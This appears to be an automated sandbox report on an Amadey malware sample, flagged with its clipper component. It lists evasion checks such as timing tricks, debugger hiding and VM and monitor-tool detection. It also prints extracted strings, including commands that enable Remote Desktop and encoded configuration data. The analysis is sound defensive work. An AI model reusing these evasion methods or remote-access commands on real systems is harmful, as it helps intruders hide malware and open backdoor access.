Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51D090D second address: 51D0911 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51D0911 second address: 51D0917 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51D0917 second address: 51D094A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFECF67A74h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FDFECF67A77h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51D094A second address: 51D0973 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, si 0x00000006 call 00007FDFED133C50h 0x0000000b pop ecx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FDFED133C4Ch 0x00000017 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5240331 second address: 52403C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFECF67A75h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov esi, 0AF5A3F3h 0x00000010 pushfd 0x00000011 jmp 00007FDFECF67A78h 0x00000016 xor al, FFFFFFF8h 0x00000019 jmp 00007FDFECF67A6Bh 0x0000001e popfd 0x0000001f popad 0x00000020 mov ebp, esp 0x00000022 pushad 0x00000023 jmp 00007FDFECF67A74h 0x00000028 pushfd 0x00000029 jmp 00007FDFECF67A72h 0x0000002e sub esi, 6249F288h 0x00000034 jmp 00007FDFECF67A6Bh 0x00000039 popfd 0x0000003a popad 0x0000003b push dword ptr [ebp+0Ch] 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 mov ah, dl 0x00000043 movzx esi, bx 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5210444 second address: 5210448 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5210448 second address: 521044C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 521044C second address: 5210452 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5210452 second address: 5210488 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDFECF67A71h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub esp, 44h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FDFECF67A78h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5210488 second address: 5210497 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFED133C4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5210497 second address: 52104BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFECF67A79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 52104BB second address: 52104BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 52104BF second address: 52104D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFECF67A6Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 52104D2 second address: 52104D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 52104D8 second address: 52104DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 52104DC second address: 5210517 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFED133C4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FDFED133C59h 0x00000011 xchg eax, ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FDFED133C4Dh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5210517 second address: 521051D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 521051D second address: 521057D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFED133C53h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c jmp 00007FDFED133C56h 0x00000011 push eax 0x00000012 pushad 0x00000013 mov esi, edi 0x00000015 call 00007FDFED133C4Dh 0x0000001a mov edx, esi 0x0000001c pop eax 0x0000001d popad 0x0000001e xchg eax, esi 0x0000001f jmp 00007FDFED133C53h 0x00000024 xchg eax, edi 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 521057D second address: 5210581 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5210581 second address: 5210587 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Special instruction interceptor: First address: 822891 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Special instruction interceptor: First address: 9E7E8E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Special instruction interceptor: First address: A4EE09 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Special instruction interceptor: First address: 6B2891 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Special instruction interceptor: First address: 877E8E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Special instruction interceptor: First address: 8DEE09 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\ET3Sc57mx4.exe

Code function: 0_2_052402DB rdtsc

0_2_052402DB

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window / User API: threadDelayed 690	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window / User API: threadDelayed 484	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window / User API: threadDelayed 690	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window / User API: threadDelayed 3548	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 6644	Thread sleep time: -52026s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 6628	Thread sleep count: 690 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 6628	Thread sleep time: -1380690s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 6600	Thread sleep count: 484 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 6600	Thread sleep time: -14520000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 6472	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 6632	Thread sleep count: 89 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 6632	Thread sleep time: -178089s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 6620	Thread sleep count: 690 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 6620	Thread sleep time: -1380690s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 6612	Thread sleep count: 106 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 6612	Thread sleep time: -212106s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 6616	Thread sleep count: 95 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 6616	Thread sleep time: -190095s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 6620	Thread sleep count: 3548 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 6620	Thread sleep time: -7099548s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\ET3Sc57mx4.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Thread delayed: delay time: 30000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Thread delayed: delay time: 180000			Jump to behavior

Source: rapes.exe, rapes.exe, 00000005.00000002.3745405951.000000000082F000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: rapes.exe, 00000005.00000002.3745898643.0000000000EEA000.00000004.00000020.00020000.00000000.sdmp, rapes.exe, 00000005.00000002.3745898643.0000000000EBA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: ET3Sc57mx4.exe, 00000000.00000002.1337975121.000000000099F000.00000040.00000001.01000000.00000003.sdmp, rapes.exe, 00000001.00000002.1373054066.000000000082F000.00000040.00000001.01000000.00000008.sdmp, rapes.exe, 00000005.00000002.3745405951.000000000082F000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\ET3Sc57mx4.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\ET3Sc57mx4.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Thread information set: HideFromDebugger	Jump to behavior

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe

Code function: 5_2_04D303FF Start: 04D305F0 End: 04D30428

5_2_04D303FF

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\ET3Sc57mx4.exe

Code function: 0_2_052402DB rdtsc

0_2_052402DB

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 5_2_0066DB60 mov eax, dword ptr fs:[00000030h]		5_2_0066DB60
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 5_2_00675FF2 mov eax, dword ptr fs:[00000030h]		5_2_00675FF2

Source: C:\Users\user\Desktop\ET3Sc57mx4.exe

Process created: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe "C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe"

Jump to behavior

Source: rapes.exe, rapes.exe, 00000005.00000002.3745405951.000000000082F000.00000040.00000001.01000000.00000008.sdmp

Binary or memory string: l.RProgram Manager

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe

Code function: 5_2_00669AB5 cpuid

5_2_00669AB5

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe

Queries volume information: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe VolumeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe

Code function: 5_2_006693A7 GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

5_2_006693A7

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe

Code function: 5_2_006461F0 RegOpenKeyExA,RegQueryValueExA,RegCloseKey,RegOpenKeyExA,RegEnumValueA,DeleteObject,DeleteObject,DeleteObject,LookupAccountNameA,

5_2_006461F0

Stealing of Sensitive Information

Yara detected Amadey

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected Amadeys Clipper DLL

Source: Yara match	File source: 0.2.ET3Sc57mx4.exe.7b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rapes.exe.640000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.rapes.exe.640000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1337689304.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3745286948.0000000000641000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY

Remote Access Functionality

Contains functionality to start a terminal service

Source: ET3Sc57mx4.exe	String found in binary or memory: net start termservice
Source: ET3Sc57mx4.exe, 00000000.00000002.1337689304.00000000007B1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: net start termservice
Source: ET3Sc57mx4.exe, 00000000.00000002.1337689304.00000000007B1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta131b127e996a898cd19ffb2d92e481b006700e5a2ab05704bbb0c589b88924d0921553d1dc176b36780331821e85866812981MJ5SM vtQw2sMQSrPj==LQXfPMklgFTVLZjr1JL2QsCffy==NIWoNG==UoSbcxLpJITieG==LINieG==YcAROJQf3kWVYN==ccxm0NDq3VfgUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMyMZVkZG==UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3WNEhggzOaDTpdFrEg7yb2VADUTJ8ddIXgy==UcNjYSTaJs0zMDHIRBjPKFZxQ8F8UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMycdNk0wooQxGbUxBl0TAdfVK=UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3VS9hfEubRj7p1JLwhB==JLNJSLAMYi7BSRvCLT==Xuxmdq==Uu1JWq==RQNKaMIWddEWcSIWbTEWYccWYNAWcwEWdMWWZwSWYNQWbxQWbS5Wc S=YTBb0sWgfEv3YZvmeFVigLyZYTBb0sWgfEu=YSpfdsWgfEu=Ztw=ZJw=ZJA=ZJE=TMxfc7==axJQdtfrPu==axJQdxD2Pw6=ZN bZwpiYSTacxEnbNFfecdmLTxRbMMWPwE+PwI+LRtieM5lflKqKokhIm==fq==JdNkbNH5PG==cS bcwnvQg3fbDu=aSNoccMoQxGpZDvpRSNQUcwWeVXgU0jwfJLrX16deu==UxBl0TAdfSPcdDD QLRrVRHcY07hdEbeepK=QNRfdcv=SSxpdwMug0r0IBve0j==RLFvWq==Uwxk0wvcY0TedUHmfKa=Rw1 ew0uMDbgYd==QLRxMpQmWw0W2UvOZTLYepbYjV==QcdQ0wMi3U3fZUG=Tc1oew0qUS1mbw0vQS1jcSIrVSdkSwMi3U3fZUG=MtwoNpHXRhaZON==ccA=dSA=QS1kewMqhAZPeUziQlrri1yRdVsl6kGwZc1ocISg2VPcOvzfd6Ls4LGphRRxEPQuLISjMIRpDGhtcSWW3U3VLRPme6rth7mRdU0yHfrnbTBjMMIdhEC2ID3edZK7NrS9gEvmHvrnaMpbccwp3RYdI7SARS0qhETpdzZRg0rjTnC9fFsw4TDidwdlc90r21PgdzZwfKzj311EFeRODGgjMIRpPQY=LISDD7==PTF d RtLchm0m==QS1kewMqhAZPeUziQlrfhMCjdUEl7Dbwb91UMN5ZhwZhb0HqN0LwgLWl100oSTG=URdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8QZ7qeKLY42KF1USpQBDwbNtRewMuXkDoZN==QS1jdxMW3VHJYTZiYMB 0wMi30fkajrpdZVthMGpf1I57k45eNgmNJzvRBSXNwe2NYY=LNNkbMEr3ESoURdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8VT3mfJLi0rmb2U0gJXZPVvBFUvoSWSPATYu=URdJWuMJ1CLqbkPvd5nR42RnPBwgNZLzdcd 0NE9UkDuaTLBc0DugLGW0DQtSDLwVcda0M0FVy==XtsmNtr=RwNcZNMohDLgdEPmdp4xQqiJ2VEz5EL1aM1kRwNcZNMohDLgdEPmdp4xQqmJ2VEz5EL1aM1kUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTE7UbI9U1TtcjTrfIPjhsOge0V=UxBl0xMfhC3cbTS=M snPG==M soN7==M snO7==M soOG==QTNodcMqhCHWaTvhXq==O gWcdNk0wooQxGpZUfiLSk7IdJ8dSkneUvnIz7jKFZngXB I9scK9sWeUZgb0TXKGueOnZ82EMwBx==J9Q7SN9lhAG=I9scK9su3U2bIsQcJq==Uw1T0NAveETnbz3igJK=LMNU0MEXhEjqbkzsdJbhjXCp2USz7DLAaM6k0MHcPSXkbDSdKj==I7==cS RewIrh02bLUKdN0GeRF==cTIZdm==ccxk0w0pSSNVZc0dgkObTDD2d6LY2KCp2UozRTG=MtsmNtrWQRi=MtsmNtrWQhG=MtsmNtrWQhK=MtsmNtrWQ0W=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: rapes.exe	String found in binary or memory: net start termservice
Source: rapes.exe, 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: net start termservice
Source: rapes.exe, 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta131b127e996a898cd19ffb2d92e481b006700e5a2ab05704bbb0c589b88924d0921553d1dc176b36780331821e85866812981MJ5SM vtQw2sMQSrPj==LQXfPMklgFTVLZjr1JL2QsCffy==NIWoNG==UoSbcxLpJITieG==LINieG==YcAROJQf3kWVYN==ccxm0NDq3VfgUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMyMZVkZG==UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3WNEhggzOaDTpdFrEg7yb2VADUTJ8ddIXgy==UcNjYSTaJs0zMDHIRBjPKFZxQ8F8UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMycdNk0wooQxGbUxBl0TAdfVK=UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3VS9hfEubRj7p1JLwhB==JLNJSLAMYi7BSRvCLT==Xuxmdq==Uu1JWq==RQNKaMIWddEWcSIWbTEWYccWYNAWcwEWdMWWZwSWYNQWbxQWbS5Wc S=YTBb0sWgfEv3YZvmeFVigLyZYTBb0sWgfEu=YSpfdsWgfEu=Ztw=ZJw=ZJA=ZJE=TMxfc7==axJQdtfrPu==axJQdxD2Pw6=ZN bZwpiYSTacxEnbNFfecdmLTxRbMMWPwE+PwI+LRtieM5lflKqKokhIm==fq==JdNkbNH5PG==cS bcwnvQg3fbDu=aSNoccMoQxGpZDvpRSNQUcwWeVXgU0jwfJLrX16deu==UxBl0TAdfSPcdDD QLRrVRHcY07hdEbeepK=QNRfdcv=SSxpdwMug0r0IBve0j==RLFvWq==Uwxk0wvcY0TedUHmfKa=Rw1 ew0uMDbgYd==QLRxMpQmWw0W2UvOZTLYepbYjV==QcdQ0wMi3U3fZUG=Tc1oew0qUS1mbw0vQS1jcSIrVSdkSwMi3U3fZUG=MtwoNpHXRhaZON==ccA=dSA=QS1kewMqhAZPeUziQlrri1yRdVsl6kGwZc1ocISg2VPcOvzfd6Ls4LGphRRxEPQuLISjMIRpDGhtcSWW3U3VLRPme6rth7mRdU0yHfrnbTBjMMIdhEC2ID3edZK7NrS9gEvmHvrnaMpbccwp3RYdI7SARS0qhETpdzZRg0rjTnC9fFsw4TDidwdlc90r21PgdzZwfKzj311EFeRODGgjMIRpPQY=LISDD7==PTF d RtLchm0m==QS1kewMqhAZPeUziQlrfhMCjdUEl7Dbwb91UMN5ZhwZhb0HqN0LwgLWl100oSTG=URdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8QZ7qeKLY42KF1USpQBDwbNtRewMuXkDoZN==QS1jdxMW3VHJYTZiYMB 0wMi30fkajrpdZVthMGpf1I57k45eNgmNJzvRBSXNwe2NYY=LNNkbMEr3ESoURdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8VT3mfJLi0rmb2U0gJXZPVvBFUvoSWSPATYu=URdJWuMJ1CLqbkPvd5nR42RnPBwgNZLzdcd 0NE9UkDuaTLBc0DugLGW0DQtSDLwVcda0M0FVy==XtsmNtr=RwNcZNMohDLgdEPmdp4xQqiJ2VEz5EL1aM1kRwNcZNMohDLgdEPmdp4xQqmJ2VEz5EL1aM1kUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTE7UbI9U1TtcjTrfIPjhsOge0V=UxBl0xMfhC3cbTS=M snPG==M soN7==M snO7==M soOG==QTNodcMqhCHWaTvhXq==O gWcdNk0wooQxGpZUfiLSk7IdJ8dSkneUvnIz7jKFZngXB I9scK9sWeUZgb0TXKGueOnZ82EMwBx==J9Q7SN9lhAG=I9scK9su3U2bIsQcJq==Uw1T0NAveETnbz3igJK=LMNU0MEXhEjqbkzsdJbhjXCp2USz7DLAaM6k0MHcPSXkbDSdKj==I7==cS RewIrh02bLUKdN0GeRF==cTIZdm==ccxk0w0pSSNVZc0dgkObTDD2d6LY2KCp2UozRTG=MtsmNtrWQRi=MtsmNtrWQhG=MtsmNtrWQhK=MtsmNtrWQ0W=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: rapes.exe	String found in binary or memory: net start termservice
Source: rapes.exe, 00000005.00000002.3745286948.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: net start termservice
Source: rapes.exe, 00000005.00000002.3745286948.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta131b127e996a898cd19ffb2d92e481b006700e5a2ab05704bbb0c589b88924d0921553d1dc176b36780331821e85866812981MJ5SM 